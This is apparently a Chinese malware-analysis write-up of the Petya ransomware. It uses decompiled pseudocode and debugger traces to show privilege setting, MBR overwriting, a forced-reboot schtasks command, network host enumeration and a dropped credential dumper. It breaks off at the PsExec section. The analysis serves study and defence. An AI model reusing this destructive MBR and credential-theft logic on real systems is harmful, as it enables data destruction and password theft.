Petya病毒（永恒之蓝的变种勒索软件）分析

by:bird

1.病毒描述：

今年6 月，Petya 病毒在乌克兰传播开来。本次分析的Petya 病毒样本利用“永恒之蓝”和“永恒浪漫”两个漏洞进行传播；还通过内网利用，使用系统的WMIC和Sysinternals的PsExec传播，Petya病毒会通过修改硬盘的MBR ，系统重启后对硬盘数据进行加密。Petya作为勒索病毒，但此次的病毒却专门搞破坏，对支付赎金处理的草率，其破坏意图明显

硬盘里的文件被加密(C:\Windows 下的文件除外），无法恢复，具有内网利用和使用"永恒之蓝" 和"永恒浪漫" 漏洞进行传播，危害巨大。

2.分析环境

操作机：windows7 X86 sp1

IP：192.168.128.110

IDA Pro：静态分析病毒

Olldbg：动态分析病毒

IDA插件IDAscope

3.分析目的

通过分析Petya 来了解病毒分析过程,将对Petya病毒利用的流程进行详细的分析，并在最后给出修复建议

4.分析步骤

1.设置权限

用IDA打开病毒样本，然后点击File->Script file打开IDAscope文件

首先病毒设置了当前进程的权限,尝试设置SeShutdownPrivilege, SeDebugPrivilege,

SeTchPrivilege 权限，通过设置变量v0 ，每设置成功权限对v0进行或操作，最后权限设置完毕后v0=7，并且将该值赋值给全局变量privilege_flag ，用来记录权限的情况。

```
Imports | Exports | IDA View-A | Pseudocode-A | Strings window
1  void privileges_flag()
2  {
3    signed int v0; // esi@1
4
5    v0 = 0;
6    if ( !dword_1001F114 )
7    {
8      TickTiime = GetTickCount();
9      if ( AdjustPrivilege(L"SeShutdownPrivilege") )
10       v0 = 1;
11     if ( AdjustPrivilege(L"SeDebugPrivilege") )
12       v0 |= 2u;
13     if ( AdjustPrivilege(L"SeTcbPrivilege") )
14       v0 |= 4u;
15     privilege_flag = v0;
16     process_flag = Enum_process();
17     if ( GetModuleFileNameW(Src, &pszPath, 0x30Cu) )
18       File_sub_10008ACF();
19   }
20 }
```

随后对进程进行枚举，并通过某算法对进程的名称进行hash运算，将结果与0x2e214b44 ，0x6403527e，0x651b3005 进行比较以此来判断当前系统是否存在相关安全软件，之后对其进行标记来判断是否该执行漏洞感染和修改MBR

```
Imports | Exports | IDA View-A | Pseudocode-B | Pseudocode-A | Strings window
14   ret = 0xFFFFFFFF;
15   hSnapshot_current_proc = CreateToolhelp32Snapshot(2u, 0);// 获得当前进程快照
16   if ( hSnapshot_current_proc != (HANDLE)-1 )
17   {
18     pe.dwSize = 556;
19     if ( Process32FirstW(hSnapshot_current_proc, &pe) )// 检查安全软件
20     {
21       do
22       {
23         res = 0x12345678;
24         j = 0;
25         len = wcslen(pe.szExeFile);
26         do
27         {
28           i = 0;
29           if ( len )
30           {
31             z = j;
32             do
33             {
34               v4 = (char *)&res + (z & 3);
35               v5 = (*v4 ^ LOBYTE(pe.szExeFile[i++])) - 1;
36               ++z;
37               *v4 = v5;
38             }
39             while ( i < len );
```

```
Imports | Exports | IDA View-A | Pseudocode-B | Pseudocode-A | Strings window
33            {
34              v4 = (char *)&res + (z & 3);
35              v5 = (*v4 ^ LOBYTE(pe.szExeFile[i++])) - 1;
36              ++z;
37              *v4 = v5;
38            }
39            while ( i < len );
40          }
41          ++j;
42        }
43        while ( j < 3 );
44        if ( res == 0x2E214B44 )
45        {
46          ret &= 0xFFFFFFF7;                    // 清楚修改MBR标记
47        }
48        else if ( res == 0x6403527E || res == 0x651B3005 )
49        {
50          ret &= 0xFFFFFFFB;                    // 清除漏洞感染标记
51        }
52      }
53      while ( Process32NextW(hSnapshot_current_proc, &pe) );
54    }
55    CloseHandle(hSnapshot_current_proc);
56  }
57  return ret;
58}
```

2. 替换MBR

```
sub_10006A2B((LPCWSTR)Thread);
if ( privilege_flag & 2 )
{
  check_file_exists();
  Replace_MBR();                                // 替换系统MBR
}
```

进入修改MBR 的过程，病毒首先检查权限问题，之后检查C:\Windows\petya 文件时候存在，不存在则创建一个

```
Imports | Exports | IDA View-A | Pseudocode-B | Pseudocode-A | Strings window
1 int check_file_exists()
2 {
3   int v0; // esi@1
4   WCHAR pszPath; // [sp+4h] [bp-618h]@1
5
6   v0 = 0;
7   if ( check_file_ext(&pszPath) )
8   {
9     if ( PathFileExistsW(&pszPath) )
10      ExitProcess(0);
11    v0 = (char *)CreateFileW(&pszPath, 0x40000000u, 0, 0, 2u, 0x4000000u, 0) + 1 != 0;
12  }
13  return v0;
14}
```

Petya，随后获取分区类型

```
19      if ( v5 > 0 )
20        v5 = (unsigned __int16)v5 | 0x80070000;
21      v2 = v5;
22    }
23    else
24    {
25      if ( DeviceIoControl(v4, 0x70048u, 0, 0, &OutBuffer, 0x90u, &BytesReturned, 0) )
26      {
27        *(_DWORD *)a2 = OutBuffer;
28      }
29      else
30      {
31        v6 = GetLastError();
32        if ( v6 > 0 )
33          v6 = (unsigned __int16)v6 | 0x80070000;
34        v2 = v6;
35      }
36      CloseHandle(v4);
37    }
38    result = v2;
39  }
40  else
41  {
42    result = -2147024809;
43  }
44  return result;
45 }
00000670 File_sub_1000122D:19
```

当分区类型为MBR格式时进行修改MBR操作，接下来生成60字节的随机数

```
1 int __stdcall Crypt_Gen_key_0(BYTE *hkey, DWORD dwLen)
2 {
3   int v2; // eax@2
4   int v3; // eax@6
5   HCRYPTPROV phProv; // [sp+Ch] [bp-4h]@1
6
7   phProv = 0;
8   if ( CryptAcquireContextA(&phProv, 0, 0, 1u, 0xF0000000) )
9     goto LABEL_14;
10  v2 = GetLastError();
11  if ( v2 > 0 )
12    v2 = (unsigned __int16)v2 | 0x80070000;
13  res = v2;
14  if ( v2 >= 0 )
15  {
16 LABEL_14:
17    if ( !CryptGenRandom(phProv, dwLen, hkey) )
18    {
19      v3 = GetLastError();
20      if ( v3 > 0 )
21        v3 = (unsigned __int16)v3 | 0x80070000;
22      res = v3;
23    }
24  }
25  if ( phProv )
26    CryptReleaseContext(phProv, 0);
27  return res;
00000824 Crypt_Gen_key_0:1
```

并对随机数进一步处理，通过模58 的值作为str_("23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz")的索引，成为勒索软件界面显示的虚类号

```
76        {
77          result = 0x80070032;
78LABEL_50:
79          res = result;
80          return result;
81        }
82        result = Crypt_Gen_key_0(&hKey, 0x3Cu);   // gen key
83        res = result;
84        if ( result >= 0 )
85        {
86          i = 0;
87          do
88          {
89            v2 = *(&hKey + i++) % 58u;
90            *(&hkey_new + i) = str_[v2];
91          }
92          while ( i < 0x3C );
93          result = File_Read_MBR_sub_100012D5(&FileName, &old_MBR);// 读取原始MBR
94          res = result;
95          if ( result >= 0 )
96          {
97            v3 = &v30;
98            v4 = 4;
99            v5 = 0;
100           do
101           {
```

开始读取MBR 数据

```
1int __stdcall File_Read_MBR_sub_100012D5(LPCSTR lpFileName, void *old_MBR_)
2{
3  int v2; // esi@1
4  int result; // eax@2
5  HANDLE handle; // ebx@3
6  signed __int32 v5; // eax@4
7  signed __int32 v6; // eax@9
8  DWORD NumberOfBytesRead; // [sp+10h] [bp-4h]@1
9
10 v2 = 0;
11 NumberOfBytesRead = 0;
12 if ( lpFileName )
13 {
14   memset(old_MBR_, 0, 0x200u);
15   handle = CreateFileA(lpFileName, 0x80000000, 1u, 0, 3u, 0, 0);
16   if ( handle == (HANDLE)-1 )
17   {
18     v5 = GetLastError();
19     if ( v5 > 0 )
20       v5 = (unsigned __int16)v5 | 0x80070000;
21     v2 = v5;
22   }
23   else
24   {
25     if ( !SetFilePointerEx(handle, 0i64, 0, 0) || !ReadFile(handle, old_MBR_, 0x200u, &NumberOfByte
26     {
27       v6 = GetLastError();
000006D5 File_Read_MBR_sub_100012D5:1
```

打开程序进行动态分析

```
012A12C5  $  E8 7F040000   call test_pet.012A1749
012A12CA  .^ E9 B3FDFFFF   jmp test_pet.012A1082
012A12CF     8BFF          mov edi,edi
012A12D1     55            db 55                    CHAR 'U'
012A12D2     8B            db 8B
012A12D3     EC            db EC
012A12D4     81            db 81
012A12D5     EC            db EC
012A12D6     28            db 28                    CHAR '('
012A12D7     03            db 03
012A12D8     00            db 00
012A12D9     00            db 00
012A12DA     A3            db A3
012A12DB  .  40312A01      dd test_pet.012A3140
012A12DF     89            db 89
012A12E0     0D            db 0D
012A12E1  .  3C312A01      dd test_pet.012A313C
012A12E5     89            db 89
012A12E6     15            db 15
012A12E7  .  38312A01      dd test_pet.012A3138
012A12EB     89            db 89
012A1749=test_pet.012A1749
```

```
寄存器 (FPU)
EAX 753B33B8 kernel32.BaseThread
ECX 00000000
EDX 012A12C5 test_pet.<ModuleEnt
EBX 7EFDE000
ESP 002CF90C
EBP 002CF914
ESI 00000000
EDI 00000000

EIP 012A12C5 test_pet.<ModuleEnt

C 0  ES 002B 32位 0(FFFFFFFF)
P 1  CS 0023 32位 0(FFFFFFFF)
A 0  SS 002B 32位 0(FFFFFFFF)
Z 1  DS 002B 32位 0(FFFFFFFF)
S 0  FS 0053 32位 7EFDD000(FFF)
T 0  GS 002B 32位 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (000

EFL 00000246 (NO,NB,E,BE,NS,PE,

ST0 empty 0.0
ST1 empty 0.0
ST2 empty 0.0
```

```
地址     HEX 数据                                          ASCII
012A2000 2B 49 3B 75 22 12 3B 75 F8 11 3B 75 50 14 3B 75   +I;u"■;u?;
012A2010 0C 11 3B 75 25 17 3B 75 35 9D 81 77 5D 4A 3B 75   .■;u%■;u5
012A2020 C9 87 3B 75 2F 77 3D 75 09 18 3B 75 02 D8 3C 75   蔺;u/w=u.■
012A2030 CB 0F 82 77 51 56 3B 75 84 14 3B 75 FF 10 3B 75   ?偕QV;u?;u
012A2040 62 14 3B 75 09 35 3B 75 00 00 00 00 34 09 1F 69   b■;u.5;u..
012A2050 6F 26 1F 69 0A 38 26 69 E6 A9 1F 69 0C CC 26 69   o&■i.8&i姗
012A2060 2C AF 26 69 B5 C3 1F 69 04 CC 26 69 1B B7 1F 69   ,?i得■i ?i
012A2070 34 47 29 69 30 47 29 69 87 BC 23 69 90 BD 26 69   4G)i0G)i嘻
012A2080 45 26 1F 69 27 26 1F 69 1C 47 29 69 0C 7B 20 69   E&■i'&■i■G
```

```
002CF90C  753B33CA  返回到 kernel32.753B33CA
002CF910  7EFDE000
002CF914  002CF954
002CF918  77819ED2  返回到 ntdll_1a.77819ED2
002CF91C  7EFDE000
002CF920  77D18477
002CF924  00000000
002CF928  00000000
002CF92C  7EFDE000
002CF930  00000000
```

读取完后，对原MBR进行异或7 操作

```
109          v5 = 0;
110        if ( v5 <= 0x28 )
111        {
112          result = 0x80070272;
113          goto LABEL_50;
114        }
115        qmemcpy(&old_MBR_, &old_MBR, 0x200u);
116        j = 0;
117        do
118        {
119          *(&old_MBR_ + j) ^= 7u;            // 与7 异或，加密
120          ++j;
121        }
122        while ( j < 0x200 );
123        memset(&v21, 7, 0x200u);
124        Buffer = 0;
125        result = Crypt_Gen_key_0(&hkey2, 0x20u);
126        res = result;
127        if ( result >= 0 )
128        {
129          result = Crypt_Gen_key_0(&hkey3, 8u);
130          res = result;
131          if ( result >= 0 )
132          {
133            memcpy(&str2, "1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX", 34u);
134            v7 = &Src;
135            v35 = 0;

00000A51 read_xor_MBR_save:119
```

接着读取Petya的MBR ， 将恶意代码一并读取

```
141          {
142            if ( v9 > 0x156 )
143              v9 = 342;
144            memcpy(v36, &Src, v9);
145            v36[v9] = 0;
146          }
147          mem1 = (void *)o_alloc_buf(512);
148          mem1_ = mem1;
149          if ( mem1 )
150          {
151            qmemcpy(mem1, &virus_MBR, 0x200u);// 将病毒的MBR 保存到内存
152            result = 0;
153          }
154          else
155          {
156            result = 0x8007000E;
157          }
158          res = result;
159          if ( result >= 0 )
160          {
161            mem2 = (void *)o_alloc_buf(0x22B1);
162            mem2_ = mem2;
163            if ( mem2 )
164            {
165              Size = 0x22B1;
166              memcpy(mem2, &virus_code, 0x22B1u);
167              result = 0;
```

```
152            result = 0;
153          }
154          else
155          {
156            result = 0x8007000E;
157          }
158          res = result;
159          if ( result >= 0 )
160          {
161            mem2 = (void *)o_alloc_buf(0x22B1);
162            mem2_ = mem2;
163            if ( mem2 )
164            {
165              Size = 0x22B1;
166              memcpy(mem2, &virus_code, 0x22B1u);
167              result = 0;
168            }
169            else
170            {
171              result = -2147024882;
172            }
173            res = result;
174            if ( result >= 0 )
175            {
176              v44 = Size - (Size & 511) + 1024;
177              mem3 = o_alloc_buf(v44);      // 2600h
```

Petya 申请了一块大内存，将原MBR 数据复制进去，并填充分区信息

```
181                 result = -2147024882;
182                 goto LABEL_50;
183               }
184               qmemcpy((void *)mem3, mem1_, 0x200u);
185               *(_DWORD *)(mem3 + 440) = v27;// 第一扇区的440偏移
186               *(_WORD *)(mem3 + 444) = v28;
187               v14 = &v29;
188               mem3_offset_446 = mem3_ + 446;
189               count = 4;
190               do
191               {
192                 *(_DWORD *)mem3_offset_446 = *(_DWORD *)v14;
193                 *(_DWORD *)(mem3_offset_446 + 4) = *((_DWORD *)v14 + 1);
194                 *(_DWORD *)(mem3_offset_446 + 8) = *((_DWORD *)v14 + 2);
195                 v18 = v14 + 12;
196                 v17 = (_DWORD *)(mem3_offset_446 + 12);
197                 v14 += 16;
198                 mem3_offset_446 += 16;
199                 --count;
200                 *v17 = *v18;
201               }
202               while ( count );
203               memcpy((void *)(mem3_ + 512), mem2_, Size);// 从第二扇区开始复制
204               num = v44 >> 9;                // 要写入的扇区总数，13扇区
205               result = 0;
206               if ( v44 >> 9 )
207               {
```

继续复制512字节的恶意代码，并且将大内存的数据写入硬盘

```
199                 --count;
200                 *v17 = *v18;
201               }
202               while ( count );
203               memcpy((void *)(mem3_ + 512), mem2_, Size);// 从第二扇区开始复制
204               num = v44 >> 9;                // 要写入的扇区总数，13扇区
205               result = 0;
206               if ( v44 >> 9 )
207               {
208                 i_ = 0;
209                 if ( num )
210                 {
211                   do
212                   {
213                     result = WriteToDisk(i_, &FileName, (LPCVOID)mem3_);// 开始向磁盘写入数据
214                     if ( result < 0 )
215                       break;
216                     ++i_;
217                     mem3_ += 512;
218                   }
219                   while ( i_ < num );
220                 }
221               }
222               else
223               {
224                 result = -2147024809;
225               }
```

继续从32扇区写入数据

```
212                     {
213                       result = WriteToDisk(i_, &FileName, (LPCVOID)mem3_);// 开始向磁盘写入数据
214                       if ( result < 0 )
215                         break;
216                       ++i_;
217                       mem3_ += 512;
218                     }
219                     while ( i_ < num );
220                   }
221                 }
222                 else
223                 {
224                   result = -2147024809;
225                 }
226                 res = result;
227                 if ( result >= 0 )
228                 {
229                   result = WriteToDisk(32, &FileName, &Buffer);// 向第32扇区写入
230                   res = result;
231                   if ( result >= 0 )
232                   {
233                     result = WriteToDisk(33, &FileName, &v21);// 填充7
234                     res = result;
235                     if ( result >= 0 )
236                     {
237                       result = WriteToDisk(34, &FileName, &old_MBR_);// 向34扇区保存异或后的原MBR
238                       goto LABEL_50;
```

32扇区填充...，33 扇区填充7，34扇区填充异或之后的原始MBR

3. 计划任务

Petya在修改MBR 完后，设置关机的任务计划

```
14  GetLocalTime(&SystemTime);
15  s = is_time();
16  if ( s < 0xA )
17    s = 10;
18  min = (s + 3) % 60 + SystemTime.wMinute;
19  hours = ((s + 3) / 60 + SystemTime.wHour) % 24;// 设置要关机的时间
20  if ( GetSystemDirectoryW(&shutdown_cmd, 0x30Cu) && PathAppendW(&shutdown_cmd, L"shutdown.exe /r /f"
21  {
22    if ( check_system_version() )
23    {
24      v4 = L"/RU \"SYSTEM\" ";
25      if ( !(privilege_flag & 4) )
26        v4 = (const wchar_t *)&unk_10014388;
27      wsprintfW(
28        &command,
29        L"schtasks %ws/Create /SC once /TN \"\" /TR \"%ws\" /ST %02d:%02d",
30        v4,
31        &shutdown_cmd,
32        hours,
33        min);                                   // 计划任务
34    }
35    else
36    {
37      wsprintfW(&command, L"at %02d:%02d %ws", hours, min, &shutdown_cmd);// 使用at 命令来计划任务
38    }
39    v7 = 0;
40    v0 = Scheduler_tast_reboot((int)&command, 0);// 如果是管理员则执行命令
```

Petya使用绝对路径来拼接shutdown 命令，然后判断操作系统是否为win7 ，并且检查是否有权限，最后通过schtask 命令来设置任务计划

```
74738588   50              push eax
74738589   FF15 58D27374   call dword ptr ds:[<&USER32.wsprintfW>]
7473858F   83C4 18         add esp,0x18
74738592   EB 1E           jmp short petya.747385B2
74738594   8D85 D8F9FFFF   lea eax,dword ptr ss:[ebp-0x628]
7473859A   50              push eax
esp=0042A314
```

地址	HEX 数据	UNICODE
0042A338	73 00 63 00 68 00 74 00 61 00 73 00 6B 00 73 00	schtasks
0042A348	20 00 2F 00 43 00 72 00 65 00 61 00 74 00 65 00	/Create
0042A358	20 00 2F 00 53 00 43 00 20 00 6F 00 6E 00 63 00	/SC onc
0042A368	65 00 20 00 2F 00 54 00 4E 00 20 00 22 00 22 00	e /TN ""
0042A378	20 00 2F 00 54 00 52 00 20 00 22 00 43 00 3A 00	/TR "C:
0042A388	5C 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00	\Windows
0042A398	5C 00 73 00 79 00 73 00 74 00 65 00 6D 00 33 00	\system3
0042A3A8	32 00 5C 00 73 00 68 00 75 00 74 00 64 00 6F 00	2\shutdo

如果不是win7 系统的话，则通过at 命令来执行关机的任务计划

```
      L"schtasks %ws/Create /SC once /TN \"\" /TR \"%ws\" /ST %02d:%02d",
      v4,
      &shutdown_cmd,
      hours,
      min);                                   // 计划任务
  }
  else
  {
    wsprintfW(&command, L"at %02d:%02d %ws", hours, min, &shutdown_cmd);// 使用at 命令来计划任务
  }
  v7 = 0;
  v0 = Scheduler_tast_reboot((int)&command, 0);// 如果是管理员则执行命令
```

接下来就是要执行关机计划任务的命令，这里先判断是否为管理员

```
BOOL __userpurge Scheduler_tast_reboot@<eax>(int command@<eax>, int a2)
{
  int cmd; // esi@1
  BOOL v3; // edi@1
  signed int v4; // ecx@4
  struct _PROCESS_INFORMATION *processInfor; // eax@4
  signed int v6; // edx@6
  struct _STARTUPINFOW *startupInfo; // eax@6
  WCHAR args; // [sp+Ch] [bp-E6Ch]@1
  WCHAR admin_cmd; // [sp+80Ch] [bp-66Ch]@1
  struct _STARTUPINFOW StartupInfo; // [sp+E24h] [bp-54h]@6
  struct _PROCESS_INFORMATION ProcessInformation; // [sp+E68h] [bp-10h]@4

  cmd = command;
  v3 = 0;
  wsprintfW(&args, L"/c %ws", command);
  *(_WORD *)(cmd + 2046) = 0;
  if ( GetEnvironmentVariableW(L"ComSpec", &admin_cmd, 0x30Cu)// {C:WINDOWS\system32\cmd.exe}
    || GetSystemDirectoryW(&admin_cmd, 0x30Cu) && lstrcatW(&admin_cmd, L"\\cmd.exe") )
  {                                                   // 判断当前是否为管理员
    v4 = 16;
    processInfor = &ProcessInformation;
    do
    {
      LOBYTE(processInfor->hProcess) = 0;
      processInfor = (struct _PROCESS_INFORMATION *)((char *)processInfor + 1);
      --v4;
```

然后创建进程来设置关机任务

```
23      do
24      {
25        LOBYTE(processInfor->hProcess) = 0;
26        processInfor = (struct _PROCESS_INFORMATION *)((char *)processInfor + 1);
27        --v4;
28      }
29      while ( v4 );
30      v6 = 68;
31      startupInfo = &StartupInfo;
32      do
33      {
34        LOBYTE(startupInfo->cb) = 0;              // cb : the size of structure in bytes
35        startupInfo = (struct _STARTUPINFOW *)((char *)startupInfo + 1);
36        --v6;
37      }
38      while ( v6 );
39      StartupInfo.cb = 68;
40      v3 = CreateProcessW(&admin_cmd, &args, 0, 0, 0, 0x8000000u, 0, 0, &StartupInfo, &ProcessInformati
41      if ( v3 )
42        Sleep(1000 * a2);
43    }
44    return v3;
45  }
```

```
00429CB4  ModuleFileName = "C:\Windows\system32\cmd.exe"
004294B4  CommandLine = "/c schtasks /Create /SC once /TN "" /TR "C:\Windows\system32\shutdown.exe /r /f" /ST 19:40"
00000000  pProcessSecurity = NULL
00000000  pThreadSecurity = NULL
00000000  InheritHandles = FALSE
08000000  CreationFlags = CREATE_NO_WINDOW
00000000  pEnvironment = NULL
00000000  CurrentDir = NULL
0042A2CC  pStartupInfo = 0042A2CC
0042A310  pProcessInfo = 0042A310
00000013
00000028
```

4. 获取IP

Petya 通过开启一个线程来循环获取ip

```
1  void __stdcall __noreturn scan_net_ip_add_to_remote_ip_list(LPVOID lpThreadParameter)
2  {
3    struct _RTL_CRITICAL_SECTION *remote_ip_list; // edi@1
4    signed int v2; // esi@3
5    DWORD *v3; // [sp+0h] [bp-218h]@0
6    BOOL v4; // [sp+4h] [bp-214h]@0
7    ULONG v5; // [sp+8h] [bp-210h]@0
8    TCP_TABLE_CLASS netbios_name[130]; // [sp+Ch] [bp-20Ch]@1
9    DWORD nSize; // [sp+214h] [bp-4h]@1
10
11   remote_ip_list = (struct _RTL_CRITICAL_SECTION *)::remote_ip_list;
12   add_remote_info_to_petya_object((char *)L"127.0.0.1", 1, (struct _RTL_CRITICAL_SECTION *)::remote_ip
13   add_remote_info_to_petya_object((char *)L"localhost", 1, remote_ip_list);
14   nSize = 260;
15   if ( GetComputerNameExW(ComputerNamePhysicalNetBIOS, (LPWSTR)netbios_name, &nSize) )
16     add_remote_info_to_petya_object((char *)netbios_name, 1, remote_ip_list);
17   CreateThread(0, 0, get_net_ip_add_to_rmeote_ip_list, remote_ip_list, 0, 0);// 获取局域网里的ip 并添
18   v2 = 0;
19   while ( 1 )
20   {
21     insert_tcp_endpoint_in_petya_list(remote_ip_list, v3, v4, v5, netbios_name[0], netbios_name[1]);
22     insert_remote_ip_list_by_ipnet_table(remote_ip_list);
23     if ( !v2 )
24     {
25       test_domain((int)remote_ip_list, 0x80000000, 0);// 遍历域控环境内的域控服务器
26       v2 = 1;
27     }
```

该线程中不断的对ip遍历并将它们添加到remote_ip_list 中

```
37    hMem = adapter;
38    if ( adapter )
39    {
40      if ( !GetAdaptersInfo(adapter, (PULONG)&SizePointer) )// 获得网络适配器信息
41      {
42        do                                    // 循环添加ip 包括dhcp 服务器的ip
43        {
44          if ( j >= 0x400 )
45            break;
46          *(&ipAddr + 2 * j) = inet_addr(adapter->IpAddressList.IpAddress.String);
47          mask[2 * j] = inet_addr(adapter->IpAddressList.IpMask.String);
48          IpAddr = (char *)MultiBytes_(adapter->IpAddressList.IpAddress.String);
49          lpMem = IpAddr;
50          if ( IpAddr )
51          {
52            add_remote_info_to_petya_object(IpAddr, 1, (struct _RTL_CRITICAL_SECTION *)remote_ip_list
53            v4 = GetProcessHeap();
54            HeapFree(v4, 0, lpMem);
55          }
56          if ( adapter->DhcpEnabled )
57          {
58            dhcpServer = (char *)MultiBytes_(adapter->DhcpServer.IpAddress.String);
59            lpMema = dhcpServer;
60            if ( dhcpServer )
61            {
62              add_remote_info_to_petya_object(dhcpServer, 0, (struct _RTL_CRITICAL_SECTION *)remote_
63              v6 = GetProcessHeap();
```

接下来还会判断是否为域控

```
69        }
70        while ( adapter );
71        if ( is_domain_controller() )
72          enum_subnet_add_remote_ip_list((struct _RTL_CRITICAL_SECTION *)remote_ip_list);
73        if ( j > 0 )
74        {
75          do
76          {
77            v7 = LocalAlloc(0x40u, 0xCu);
78            if ( v7 )
79            {
80              netmask = inet_addr("255.255.255.255");
81              mask_ = mask[2 * i];
82              net_id = mask_ & *(&ipAddr + 2 * i);
83              if ( mask_ & *(&ipAddr + 2 * i) )
84              {
85                lpMemb = (LPVOID)(net_id | mask_ ^ netmask);// ???
86                if ( lpMemb )
87                {
88                  *v7 = ntohl(net_id);
89                  v7[1] = ntohl((u_long)lpMemb);
90                  v7[2] = remote_ip_list;
91                  v11 = CreateThread(0, 0, Ws2_sub_10008E04, v7, 0, 0);
92                  if ( v11 )
93                    *(&hObject + i) = v11;
94                }
95              }
```

如果是域控则会继续枚举子网，并将它们添加到remote_ip_list 表中

```
42  nSize = 260;
43  GetComputerNameExW(ComputerNamePhysicalNetBIOS, (LPWSTR)&Buffer, &nSize);// 获取netbios name, 枚举子
44  if ( !DhcpEnumSubnets((WCHAR *)&Buffer, &ResumeHandle, 0x400u, &EnumInfo, &ElementsRead, &ElementsTo
45  {
46    v14 = EnumInfo->NumElements;
47    if ( v14 > 0 )
48    {
49      do
50      {
51        if ( !DhcpGetSubnetInfo(0, EnumInfo->Elements[v1], &SubnetInfo)
52          && SubnetInfo->SubnetState == DhcpSubnetEnabled
53          && !DhcpEnumSubnetClients(0, EnumInfo->Elements[v1], &v18, 0x10000u, &ClientInfo, &ClientsRe
54        {
55          v3 = ClientInfo->NumElements;
56          v16 = v3;
57          if ( v3 && i < v3 )
58          {
59            do
60            {
61              v4 = ClientInfo->Clients[i];
62              if ( v4 )
63              {
64                addr = ntohl(v4->ClientIpAddress);
65                if ( test_139_445_port(addr) )
66                {
67                  addr_ = ntohl(v4->ClientIpAddress);
68                  client_addr = inet_ntoa((struct in_addr)addr_);
```

5. 释放mimikatz

Petya 在该环节，先判断操作系统的位数，然后去查找资源，对其进行解码

```
28  lpMem = 0;
29  mini_path = 0;
30  v0 = GetCurrentProcess();
31  v20 = 0;
32  v1 = GetModuleHandleW(L"kernel32.dll");
33  IsWow64Process = GetProcAddress(v1, "IsWow64Process");
34  if ( IsWow64Process )
35    ((void (__stdcall *)(HANDLE, int *))IsWow64Process)(v0, &v20);// 系统64?32位?
36  v3 = FindResourceW(Src, (LPCWSTR)((v20 != 0) + 1), (LPCWSTR)10);// Application-defined resource (ra
37  if ( v3 )
38    result = resource_decompress_zlib(&lpMem, (int)&mini_path, v3);
39  else
40    result = 0;
41  if ( result )
42  {
43    if ( GetTempPathW(0x208u, &Buffer) )
44    {
```

将解码后的内容写入临时文件

```
74737632   8B5D FC        mov ebx,dword ptr ss:[ebp-0x4]
74737635   8D85 70F9FFFF  lea eax,dword ptr ss:[ebp-0x690]
7473763B   50             push eax
7473763C   E8 6DFDFFFF    call petya.747373AE
74737641   85C0           test eax,eax
74737643   0F84 01010000  je petya.7473774A
74737649   FF75 F4        push dword ptr ss:[ebp-0xC]
7473764C   8B35 58D27374  mov esi,dword ptr ds:[<&USER32.wsprintfW>]        user32.
74737652   8D85 60EDFFFF  lea eax,dword ptr ss:[ebp-0x12A0]
74737658   68 44407474    push petya.74744044                               UNICODE
7473765D   50             push eax
7473765E   FFD6           call esi
74737660   83C4 0C        add esp,0xC
堆栈地址=0042AAD0, (UNICODE "C:\Users\[redacted]\AppData\Local\Temp\9EA7.tmp")
eax=00000001
```

管理员: C:\Windows\system32\cmd.exe

```
C:\Users\[redacted]\AppData\Local\Temp>type 9ea7.tmp
MZ? ♥   ♦        ?       @                                  ?   ]?? ???L?This
program cannot be run in DOS mode.
$       sI§A75<‡75<‡75<‡,↕‡#5<‡,〈‡v5<‡,∟‡>5<‡Q郯‡55<‡>M?>5<‡75z‡U5<‡,尸‡85<‡,
儿‡65<‡Rich75<‡                          PE  d? ◙?Y        ? " δ◙
  ?   j      磾   ►    @◙    ►   ◙  ♠◙    ♠◙     ◙◙  ♦  ?◙ ♥ @?  ►      ►
      ►      ►         ►           ?  ×          ►◙ ?           ◙ ?
                                          ?  ?                          .text
 "?   ►   ?   ♦                 `.rdata  ?   ?   2   ?             @  @.data
```

```
53          pipe_name = 0;
54          if ( StringFromCLSID(&pguid, &pipe_name) >= 0 )
55          {
56            if ( write_files((const WCHAR *)mini_path, &TempFileName, lpMem) )// 输出到文件
57            {
58              wsprintfW(&pipe, L"\\\\.\\pipe\\%ws", pipe_name);
59              hThread = CreateThread(0, 0, thread_mini_pipe, &pipe, 0, 0);// 创建管道
60              if ( hThread )
61              {
62                ProcessInformation.hProcess = 0;
63                ProcessInformation.hThread = 0;
64                ProcessInformation.dwProcessId = 0;
65                ProcessInformation.dwThreadId = 0;
66                memset(&Dst, 0, 0x44u);
67                v16 = 0;
68                Dst = 68;
69                wsprintfW(&CommandLine, L"\"%ws\" %ws", &TempFileName, &pipe);
70                if ( CreateProcessW(
71                       &TempFileName,
72                       &CommandLine,            // 执行该程序
73                       0,
74                       0,
75                       0,
76                       0x8000000u,
77                       0,
78                       0,
79                       (LPSTARTUPINFOW)&Dst,
00006A8C release minikatz run:63
```

接下来创建管道，使用管道来进行子进程之间的通信 Petya 启动一个线程来获取接下来要创建的子进程的执行结果

```
73                      0,
74                      0,
75                      0,
76                      0x8000000u,
77                      0,
78                      0,
79                      (LPSTARTUPINFOW)&Dst,
80                      &ProcessInformation) )
81                {
82                  WaitForSingleObject(ProcessInformation.hProcess, 0xEA60u);// 等待进程结束
83                  lock_esi_petya_list((int)remote_pwd);
84                  TerminateThread(hThread, 0);
85                }
86                CloseHandle(hThread);
87              }
88              v5 = mini_path;
89              for ( i = lpMem; v5; --v5 )
90                *i++ = 0;
91              write_files((const WCHAR *)mini_path, &TempFileName, lpMem);
92              DeleteFileW(&TempFileName);
93            }
94            CoTaskMemFree(pipe_name);
95          }
```

管道线程将其获取到的密码加入到密码列表当中

```
44          v5 = TotalBytesAvail;
45          v6 = GetProcessHeap();
46          buffer = HeapAlloc(v6, 8u, v5);
47          if ( buffer )
48          {
49            NumberOfBytesRead = 0;
50            if ( ReadFile(hNamedPipe, buffer, TotalBytesAvail, &NumberOfBytesRead, 0)
51              && NumberOfBytesRead == TotalBytesAvail )
52            {
53              v8 = StrChrW(buffer, ':');
54              if ( v8 )
55              {
56                *(_WORD *)v8 = 0;
57                add_remote_pwd_to_petya_remote_list(buffer, (void *)(v8 + 2), 2);
58              }
59            }
60            v9 = GetProcessHeap();
61            HeapFree(v9, 0, buffer);
62          }
63LABEL_18:
64          FlushFileBuffers(hNamedPipe);
65          DisconnectNamedPipe(hNamedPipe);
66LABEL_19:
67          CloseHandle(hNamedPipe);
68          goto LABEL_4;
```

最后minikatz 执行完之后使用\x00 来填充该临时文件

6. 释放psexec

